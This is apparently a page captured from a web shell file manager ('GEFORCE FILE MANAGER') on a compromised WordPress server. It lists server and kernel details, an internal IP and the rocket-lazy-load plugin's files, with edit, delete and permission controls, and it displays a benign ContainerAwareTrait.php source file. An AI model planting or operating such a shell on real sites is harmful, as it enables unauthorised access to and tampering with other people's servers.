[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
rocket-lazy-load
/
src
/
Dependencies
/
League
/
Container
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 Argument
SET
[ DEL ]
📁 Definition
SET
[ DEL ]
📁 Exception
SET
[ DEL ]
📁 Inflector
SET
[ DEL ]
📁 ServiceProvider
SET
[ DEL ]
📄 Container.php
6,805 B
SET
[ EDIT ]
|
[ DEL ]
📄 ContainerAwareInterface.php
1,042 B
SET
[ EDIT ]
|
[ DEL ]
📄 ContainerAwareTrait.php
1,726 B
SET
[ EDIT ]
|
[ DEL ]
📄 ReflectionContainer.php
3,610 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: ContainerAwareTrait.php
<?php declare(strict_types=1); namespace RocketLazyLoadPlugin\Dependencies\League\Container; use RocketLazyLoadPlugin\Dependencies\League\Container\Exception\ContainerException; use RocketLazyLoadPlugin\Dependencies\Psr\Container\ContainerInterface; trait ContainerAwareTrait { /** * @var ContainerInterface */ protected $container; /** * @var Container */ protected $leagueContainer; /** * Set a container. * * @param ContainerInterface $container * * @return ContainerAwareInterface */ public function setContainer(ContainerInterface $container) : ContainerAwareInterface { $this->container = $container; return $this; } /** * Get the container. * * @return ContainerInterface */ public function getContainer() : ContainerInterface { if ($this->container instanceof ContainerInterface) { return $this->container; } throw new ContainerException('No container implementation has been set.'); } /** * Set a container. * * @param Container $container * * @return self */ public function setLeagueContainer(Container $container) : ContainerAwareInterface { $this->container = $container; $this->leagueContainer = $container; return $this; } /** * Get the container. * * @return Container */ public function getLeagueContainer() : Container { if ($this->leagueContainer instanceof Container) { return $this->leagueContainer; } throw new ContainerException('No container implementation has been set.'); } }